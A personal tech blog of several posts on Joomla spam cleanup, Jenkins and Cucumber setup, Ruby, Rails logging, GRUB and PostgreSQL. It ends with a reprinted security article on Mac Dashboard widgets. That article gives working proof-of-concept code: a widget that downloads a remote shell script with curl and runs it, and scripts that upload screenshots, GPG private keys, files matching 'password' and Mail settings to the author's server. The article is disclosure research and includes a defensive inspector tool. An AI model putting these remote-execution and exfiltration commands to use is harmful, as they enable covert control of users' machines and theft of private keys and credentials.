geisterstunde.org

Hacking on stuff…

Black Hat SEO’s PHP

No Comments »

Coming to work this morning, I noticed that our homepage gave our visitors a blank page and additionally returning a 500. Our homepage is a somewhat outdated version of Joomla which apparently makes it really hard to debug as Joomla or PHP do not give me the great debugging that I am used to from developing Rails applications. Enough ranting now.

My method of debugging resolved to including some “echo ‘bla’;” entries here and there, trying to follow Joomla’s call stack. I finally arrived in application.php which seems to be pretty central. In there I found the following line of code:
$data = $document->render( $this->getCfg('caching'), $params);@include_once("joomla_rss.php");
Hmmm I thought, because chaining code into one line like this does not look like Joomla’s code style that I found all around. The @ sign was also causing the 500 error to be thrown.

Luckily our website is under git version control and I was able to see that joomla_rss.php happens to be a new file, so I opened it to find some great obfuscated PHP code in there (I have attached the original joomla_rss.php file to this post).

Analyzing this file showed me that our black hat SEO people seem to cram all the PHP functions that they like to obfuscate their code by putting it into arrays and then doing some base64 encoding/decoding. This was fun to watch.

So, what did this thing do? I have attached another file to this post which makes it a bit more readable and also provides some output. It looks like all it does is to return some links to specific callers, from special IP blocks or to the Google bot to get their ranking up. Here is the output that I was able to generate:
|||
<!-- counted in 0.0327730178833 -->

<a href=”http://www.mctp2009.org/exhibitors-and-sponsors/sponsors.html”>buy viagra on the internet</a>
<a href=”http://www.espras.org/statutes/84″>bankruptcy court california central district</a>
<a href=”http://www.swec.org/contact-us.html”>auto owners insurance ratings</a>

<a href=”http://www.ijpe-online.com/table/conferences-and-events/”>loans for cash settlements</a>

<a href=”http://www.investinvermont.org/login/reset”>dwi attorney floresville</a>
<a href=”http://www.tangierino.com/events/flat/date/2011-11-01.html”>direct sale of viagra to physicians</a>

<!– counted in 0.0327730178833 –>
|||
This was fun. I have yet to determine how they were able to insert the code into our page. If you have further insights after looking into the PHP file, please feel free to contact me!

Here are the files:

Jenkins CI, Rails with RVM and Capybara Cucumber Tests

No Comments »

Our tests are done mainly using Cucumber. We believe in Cucumber, because we can test the whole stack of the application: JavaScript logic, view logic, controller, model and database all in one take. You may disagree with this, but that is not the point of this article.

We have set up the Cucumber tests to work with Capybara. When invoking Cucumber, a browser window opens and it’s like someone is clicking and inserting things on the page much like a user would do (I call it “Browser-TV”). We wanted to be able to use continuous integration with Jenkins and still be able to test all the Cucumber tests. The Jenkins Server is headless, meaning that there is no X Server running on the machine that could open the browser and click around on the page.

We’re also using RVM in our project and it took a little time to set that up on the Jenkins Server as well.

Installing Jenkins (Ubuntu 10.04 Server)

To begin with, we had our normal development environment setup on the server (databases and everything) before we started to put Jenkins on top. This way we made sure that the databases were working. The machines runs Ubuntu 10.04 Server edition, the setup of Jenkins was really straight forward:

wget -q -O - http://pkg.jenkins-ci.org/debian/jenkins-ci.org.key | sudo apt-key add -
sudo sh -c 'echo deb http://pkg.jenkins-ci.org/debian binary/ >
  /etc/apt/sources.list.d/jenkins.list'
sudo aptitude update
sudo aptitude install jenkins

Installing RVM

After that go ahead and login to your server and become the Jenkins user. Within the shell, just install a default RVM installation as described on the RVM page. There seem to be a couple of options out there for integrating RVM with Jenkins, but none of them really worked smoothly for me. Since I’m a command line guy, I hit it off like this in Jenkins:


It is a bit ugly to read, but that really doesn’t matter to me, it simply works.

Getting the Cucumber tests to pass

In order to test the Cucumber features that rely on the browser to be opened, you first have to install a virtual framebuffer X-Server and of course the browser that you are testing in (in our case Firefox):

sudo apt-get install firefox xvfb

Test if you can start the Xvfb Server:

Xvfb :99 -ac -screen 0 1024x768x16
export DISPLAY=:99 firefox

If everything goes well and Firefox doesn’t complain, then your Xvfb setup is working. Next it’s a good idea to make a start- and stop-script for Xvfb and place it into /etc/init.d/xvfb:

XVFB=/usr/bin/Xvfb
 XVFBARGS=":99.0 -ac -screen 0 1024x768x16"
 PIDFILE=~/xvfb.pid
 case "$1" in
 start)
 echo -n "Starting virtual X frame buffer: Xvfb"
 /sbin/start-stop-daemon --start --quiet --pidfile $PIDFILE --make-pidfile
    --background --exec $XVFB -- $XVFBARGS
 echo "."
 ;;
 stop)
 echo -n "Stopping virtual X frame buffer: Xvfb"
 /sbin/start-stop-daemon --stop --quiet --pidfile $PIDFILE
 echo "."
 ;;
 restart)
 $0 stop
 $0 start
 ;;
 *)
 echo "Usage: /etc/init.d/xvfb {start|stop|restart}"
 exit 1
 esac
 exit 0

Make that script executable for everyone. Now you are pretty much ready to add three tasks to your Jenkins build:

The three steps are: starting the Xvfb server, executing your Cucumber tests and passing along the display variable and lastly stopping the Xvfb server again.

And there you have it! Your headless Capybara-Cucumber tests dones by Jenkins.

Drag and drop using capybara and selenium web driver through cucumber

No Comments »

To better test our application, we are writing cucumber tests as every good Rails developer should do. However, the standard cucumber setup cannot work easily with sites that rely on heavy JavaScript usage.Therefore we have a setup that uses capybara and the selenium web driver to test the JavaScript. This setup actually causes a Firefox browser to be opened and controlled through the web driver. It then looks to the application as someone is actually clicking and entering all the stuff via the browser.

In one part of our application we are doing some drag and drop using the jQuery UI drag and drop widget. This also needed to be tested. It took me a while to figure all the parts out, so here are the different parts that tie it all together.

So, here is my feature definition:

@javascript
...
When I drag the first applicant to the first group
Then I should have 1 applicant in the groups

This is the pretty straight forward definition of what should be done. Next thing is the actual definition of the step I just defined:

When /^I drag the first applicant to the first group$/ do
  first_applicant = page.find_by_id('applicant_0').find('li')
  first_group = page.find_by_id('group_0')
  first_applicant.drag_to(first_group)
end

So, the most difficult part for me was to find out where your elements are in the DOM and access them. The last thing is to call the drag_to() function that takes care of actually dragging your element.

The second part of checking how many applicants are in the groups is done through simply querying the database. Here is the definition:

Then /^I should have (d+) applicants? in the selection groups$/ do |applicant_count|
  SelectionGroupApplicant.all.count.should == applicant_count.to_i
end

Ruby and arrays

No Comments »

Everything seems to be so easy in Ruby. Therefore I though, the following code would work out nicely:

people = People.find(:all)
people_array = Array.new

logger.debug("LOG: " + people_array.length.to_s)

people.each do |person|
  people_array << person
end

logger.debug("LOG: " + people_array.length.to_s)

people_array.each do |person|
  people_array.delete(person)
end

logger.debug("LOG: " + people_array.length.to_s)

However, it produced the following (unexpected) output:

LOG: 0
LOG: 60
LOG: 30

What I expected was the following: add people to an array and then remove them again, so that the last log statement would tell me, that the array’s length would be 0. It turned out, that one shouldn’t mess with an array one is itterating over. Of course after thinking about it for a little while, it really makes sense.

There are a couple of ugly solutions to the problem, here is one where we create two arrays, iterate over the one and delete from the other one:

people = People.find(:all)
people_array = Array.new
people_array2 = Array.new

logger.debug("LOG: " + people_array.length.to_s)

people.each do |person|
  people_array << person
  people_array2 << person
end

logger.debug("LOG: " + people_array.length.to_s)  

people_array2.each do |person|
  people_array.delete(person)
end

logger.debug("LOG: " + people_array.length.to_s)

Actually for my case, the removal of people from the array after adding them had a lot to do with removing people from the array when various conditions where met. After understanding the problem, the code for removing the peoeple from the array again would be a call to people_array.delete_if() like the following code snippet demonstrates:

people = People.find(:all)
people_array = Array.new

logger.debug("LOG: " + people_array.length.to_s)

people.each do |person|
  people_array << person
end

logger.debug("LOG: " + people_array.length.to_s)

people_array.delete_if { |p| true } # or whatever condition you prefer

logger.debug("LOG: " + people_array.length.to_s)

As I learned, the delete_if statement itselfs iterates over the array and removes the elements that the condition matches for.

So, today I did not only learn the obvious thing from the example, but also to be more careful when coding in Ruby. Even though the language seems to make eveything dead-simply, somtimes there are some pitfalls to it.

P.S.: the ruby array documentation is always a nice read: read it now

Underwater Telecommunication Cables

No Comments »

I have come across the following image. I’ve been interested transcontinental telecommunication cables all along, so I really liked to look at the picture that I want to share with you (the image is 6MB).

Rails Logging to Firebug

No Comments »

Everyone wants to log stuff when they are coding. I wanted to find a way to log from my controllers, models or views directly to the browser. What I found was a pretty nice way to log to the Firebug console in the following article: http://fuelyourcoding.com/set-rails-logging-on-fire/

Unfortunately that article was written pre Rails 3, so some adjusting was needed.

The first part is to get the firebug_logger.rb file from here: https://gist.github.com/252575 and putting it into the project’s lib/rack directory (create the directory if you need to).

Next, tell your application to load the file when it is booting.

config/boot.rb:

require File.expand_path('lib/rack/firebug_logger')

Next, we only want to have our logging spill out when we are in the development environment. No need for everyone in the world to see our debug messages.

config/environments/development.rb:

config.middleware.use ::Rack::FirebugLogger

The last step is to add a method into your application controller so that it is accessible from everywhere in your project.

app/controllers/application_controller.rb:

helper_method :firebug
private
def firebug(message, type = :debug)
  request.env['firebug.logs'] ||= []
  request.env['firebug.logs'] << [type.to_sym, message.to_s]
end

And now we can start to use the logging in our code:

firebug "hello world!"

PowerEdge R210 and Ubuntu 10.04 Boot Problems

No Comments »

Today I set up a new Ubuntu 10.04 Server on a Dell PowerEdge R210. The installation went smoothly. However, when booting for the first time, after waiting for some time, the system would drop me into a busybox shell with not much to see. Having seen this problem often, I thought that the /dev/sda1 device would not be there because of missing kernel modules.

You can see the output in the picture on the right.

However, when checking /dev, I surely found /dev/sda1. After some poking around I found out that the integrated RAID controller needs some more time to warm up and the kernel didn’t want to wait for the disks to come available through the RAID controller any longer.

So, the solution is to add the ‘rootdelay’ parameter to the kernel option into the /boot/grub/grub.cfg

linux   /boot/vmlinuz-2.6.32-26-generic root=/dev/sda1 rootdelay=60 ro single

This instructs the kernel to wait for 60 seconds before trying to enter the init process. This fixed the problem and I was able to boot into the newly installed system.

In order to make this change appear in all grub entries when Ubuntu does a kernel upgrade, you have to edit the file /etc/default/grub and also add that parameter to the GRUB_CMDLINE_LINUX variable.

GRUB_CMDLINE_LINUX="rootdelay=60"

After that, run ‘update-grub’ and you can double-check that your changes appear in /etc/grub/grub.cfg.

Populator Gem and PostgreSQL

No Comments »

For a new project, I set up the cool and shiny Populator gem to populate my tables with some generated data (together with the ‘Faker‘ gem). The Populator gem was supposed to insert stuff into a table called Addresses. The table of course had an ‘id’ column which is set increment automatically. Somehow the Populator gem bypassed the incrementation of the sequence, therefore a subsequent insert into the table would fail with the following error:

PGError: ERROR:  duplicate key value violates unique constraint "addresses_pkey"
DETAIL:  Key (id)=(3) already exists.
: INSERT INTO "addresses" ("street", "city", "country_id", "location", "state", "zip") \
  VALUES ('476 Royal Views', 'Watsicaborough', 1, NULL, NULL, '90591') RETURNING "id"

The data inserted by the Populator gem however has a correct sequence. This is pretty unfortunate, the Populator gem does not seem to be so cool and shiny when working with PostgreSQL database as a backend. Of course you can overcome the problem by issuing something like this after every time you step out of your populator block:

select setval('addresses_id_seq', (select max(id) + 1 from addresses));

For me the best way was to avoid the Populator gem altogether and move to good old ruby code:

500.times do
  ...
end

Antivirus tips from an expert…

No Comments »

A few days ago I was interviewed for a german news site as an antivirus expert, here is the resulting video…

Apple Dashboard Widget Insecurity

No Comments »

This article written by me appeared in the autum 2008 issue of the 2600 Magazine

  • 0×00 Disclaimer
  • 0×10 Introduction to dashboard widgets
  • 0×20 Dashboard’s security model
  • 0×30 What’s wrong with the security model
  • 0×40 Exploitation concept
  • 0×50 Proof of concept
  • 0×60 Endless possibilities
  • 0×70 Making things easy for you
  • 0×80 Wrap up

0×00 Disclaimer

The information presented in this article is for information and demonstration purposes only. I cannot be held liable for any damage you cause using the information presented here. Please use the knowledge wisely and don’t do any harm that you don’t want to have done to yourself.

0×10 Introduction to dashboard widgets

In Mac OS X 10.4, Apple introduced a feature called “Dashboard”. The idea of dashboard is, that you have a number of applications readily available for your use. These applications shall not be full blown applications, but only small tools like calculators, converters, clocks etc. One very important aspect of these so called “widgets” is their ability to fetch content from the internet in order to have little applications that display the latest news from an RSS feed, the current weather condition, stock quotes etc. The actual dashboard with the widgets on them can be activated and is then shown as an additional layer on top of the Mac OS X desktop.

Not only are the widgets able to pull content from the internet, the widgets may also issue system commands. Thus you can pull content from the internet and process it with standard UNIX tools that come with Mac OS X.

Dashboard widgets are programmed mainly by using HTML and JavaScript. The JavaScript engine has a couple of extensions to it which are specific for widgets.

0×20 Dashboard’s security model

As you have read the introduction part of this article, you have probably already thought of all the things you can do by combining internet access of a dashboard widget and the ability to execute system commands, this is the whole idea about these widgets. However there is a distinct security model underlying the dashboard application that executes the individual widgets.
The first security measure is the fact that the widgets are only executed with the rights that the user has that is currently using the dashboard widget. So there is no system level access to make installing root kits as easy as replacing /bin/bash with a modified version from some server.
The second security measure is a file called Info.plist. This XML file has to be supplied with any valid dashboard widget and is common not only to widgets on the Mac OS X operating system. In the XML file there are a couple of information, e.g. the name and version of the widget, some information for the initialization of the widget and so on. Additionally there are three important boolean parameters which are relevant to the security of widgets: AllowFileAccessOutsideOfWidget, AllowNetworkAccess, AllowSystem. These three parameters control whether your widget has access to files outside the widget’s path, if the widget is granted network access and if the widget is granted access to the command line utilities.

0×30 What’s wrong with the security model

Of course widgets are only executed with limited right, namely that of the user that is using the dashboard widget at the moment, thus denying access to a lot of system files. However, we are not really interested in creating yet another botnet through root kits that we install on the machine. What’s more valuable is user data. Since we may access the system with user privileges, we may edit/remove/create files within the user’s home directory (this includes such sensitive data as ~/.gnupg/secring.gpg [the place where the PGP private key is stored if the users uses PGP] and other such things, be creative).
Of course you might argue that this is not a problem specific to dashboard, but is a security risk that any application might pose. That is correct, however dashboard widgets are programs which are easily installed by a user and not much cared about from a security point of view. Another aspect of this is also: dashboard widgets are so very easily developed and deployed (more on that later).
The second aspect of security model is the Info.plist (also called a “property list” in Apple jargon). Usually the Info.plist is edited by the developer of the widget to give access to the resources that the widget needs in order for it to work. The Info.plist is bundled with the widget and normally never seen again by regular users. This means that the user again has to trust the widget’s developer to set the proper access permissions for the widget, the user usually has no control over widget’s setting after it has been installed on the system unless he/she edits the property list manually.

0×40 Exploitation concept

Taking into account that users usually don’t check the widget’s internal workings after downloading them and simply installing them and the fact that widgets are easily created using the new Dashcode application from Apple, the following scenario might be possible:
An attacker creates a widgets which is as simple as counting down the days until the olympic games in China start. The widget is small and downloaded by thousands of sports enthusiasts from around the world. The widget is always opened in the dashboard because it is so small and looks so innocent. In reality however, the attacker has granted the widget network access, file access and system access. Periodically (e.g. every time the widget updates the days until the event starts, or every time the user opens dashboard) the widget connects to a central or even distributed command and control server that sends new instructions to the widget which are downloaded and stored on the filesystem (maybe in the /tmp directory with some obscure name) and executed. In these instructions there may be anything, ranging from a local root exploit to really gain access to the system, or the instructions say that the system should forward any mail that the user has received to another account, or delete the content of the user’s documents directory (see below for more ideas).

0×50 Proof of concept

I have created a simple proof of concept. This proof of concept is a widget which looks for an instruction file on a server that is downloaded and executed. Currently the instruction file tells the widget to take a screenshot of the active screen and upload it to a server. The file may however contain any type of commands.
There are three parts to this proof of concept: of course there is the widget, there is the instruction command file and there is a small PHP script which takes the screenshot and stores it on the server.

0×51 The widget

The widget was created using Apples all new Dashcode application. The default “Hello, World!” widget was used and modified. Two new functions were created inside of the javascript file that dashcode creates by default. The first function is called nasty() and is the function responsible for downloading and executing the instruction file from the server. The second function is called dummyHandler() and is only used to make the widget.system() calls non-blocking.
As you can see, the nasty() function depends on the widget.system() calls to be allowed. In the three system calls the master.sh file is downloaded into the /tmp directory, made executable and then executed. If the dummyHandler() call would not be used, the whole widget would be locked up until the processes would be done. In case of a malicious widget, the widget would seem suspicious if it would lock up for too long.
As you can see I am using the program curl to download the instruction file. This is the part where we need system and network access for (AllowNetworkAccess and AllowSystem need to be true). For storing the instruction file outside the widget’s directory and executing it there we need the AllowFileAccessOutsideOfWidget directive to be true in the widget’s property list.

function nasty()
{
  if(window.widget)
  {
    widget.system("/usr/bin/curl -o /tmp/master.sh \
      http://www.geisterstunde.org/master.sh",dummyHandler);
    widget.system("/bin/chmod u+x /tmp/master.sh",dummyHandler);
    widget.system("/tmp/master.sh",dummyHandler);
  }
}

function dummyHandler()
{
}

The relevant entries in the Info.plist look like this:

<key>AllowFileAccessOutsideOfWidget</key>
<true/>
<key>AllowNetworkAccess</key>
<true/>
<key>AllowSystem</key>
<true/>

(make sure that you have set the HTTP_PROXY environment variable if you are behind a proxy, otherwise curl will fail)

0×52 The instruction file

The instruction file is straight forward. You can easily test it by executing it on your own Mac OS X system. Here we first execute the “logger” program to write something to the log files, after that we execute the “screencapture” tool (with appropriate parameters to turn of the sound and capturing the whole screen) and then upload the image to the server.

#!/bin/bash
/bin/echo "0wned by zeitgeist" | /usr/bin/logger

# For screen capturing and uploading
screencapture -Sx /tmp/screen.jpg
curl -F userfile=@/tmp/screen.jpg -F press=ok\

http://www.geisterstunde.org/upload.php

0×53 The upload PHP script

The PHP script on the server is straight forward. It creates a filename based on the md5 sum of the current time stamp to generate unique filenames and moves the uploaded file to the files/ directory. Make sure that the files/ directory is writable by the web server.

0×60 Endless possibilities

Here are a few ideas for other things one can do with user level access inside of the command file:

0×61 upload the ~/.gnupg/secring.gpg to get a user’s private GPG keys:

/usr/bin/curl -F userfile=@~/.gnupg/secring.gpg -F press=ok \

http://www.geisterstunde.org/upload.php

0×62 use the “mdfind” utility (command line front end to the Mac OS X Spotlight search engine) to look for all files containing the string “password” and upload these files

for filename in `mdfind password`
do
  if [[ -e $filename ]]
  then
    /usr/bin/curl -F userfile=@$filename -F press=ok \

http://www.geisterstunde.org/upload.php

  fi
done

0×63 look through the user’s ~/Library/ directory for interesting settings (address book content, iCal events, etc)

0×64 read the Mail settings into a file and (again) upload it to find out the user’s e-mail address, account type etc.

defaults read com.apple.Mail > /tmp/maildefaults.txt

if [[ -e "/tmp/maildefaults.txt"]]
then
  /usr/bin/curl -F userfile=@/tmp/maildefaults.txt -F press=ok \

http://www.geisterstunde.org/upload.php

fi

0×65 change the user’s default page in Safari:

defaults write com.apple.Safari HomePage "http://www.geisterstunde.org"

0×70 Making things easy for you

The usual way to deploy widgets is through the Apple widgets download site. When you want to publish a widget in the index on their website you submit your widget and some other information along with it. However, when a user wants to download the widget, he or she doesn’t download it from the Apple website, but from the author’s original website. I assume that Apple reviews the dashboard widgets before publishing them in their index, however if you are able to change the widget after it was indexed, there is no real trusting to the Apple widget index.
Another security feature that was added by Apple was the idea that after downloading a widget, it seemed like it wouldn’t be executed, but a window would ask you whether you would like to “keep” or “delete” the widget. In reality however, the widget (with possibly malicious code) would already be executed, even if the user hasn’t decided on “keeping” or “deleting” the widget yet. I have contacted Apple about this specific vulnerability but they haven’t replied yet.

0×80 Wrap up

The code examples presented in this articles may be downloaded from http://www.geisterstunde.org/widget The file badwidget.zip contains an example widgets which execute code from my server when clicked upon.
There is also a publicly accessible directory of screenshots (and other things I have captured) available under http://www.geisterstunde.org/files/ Please be aware if you deploy the example widget, a screenshot of your machine will be posted to the site.
I have also created a small tool called “WidgetInspector” (http://www.geisterstunde.org/widget/WidgetInspector.zip) which examines the widgets on your hard drive in terms of the security issues presented in this article.

Greetings to dorothea, macglove, mattjowil, alex, yin, frida, the Machackers and the CCC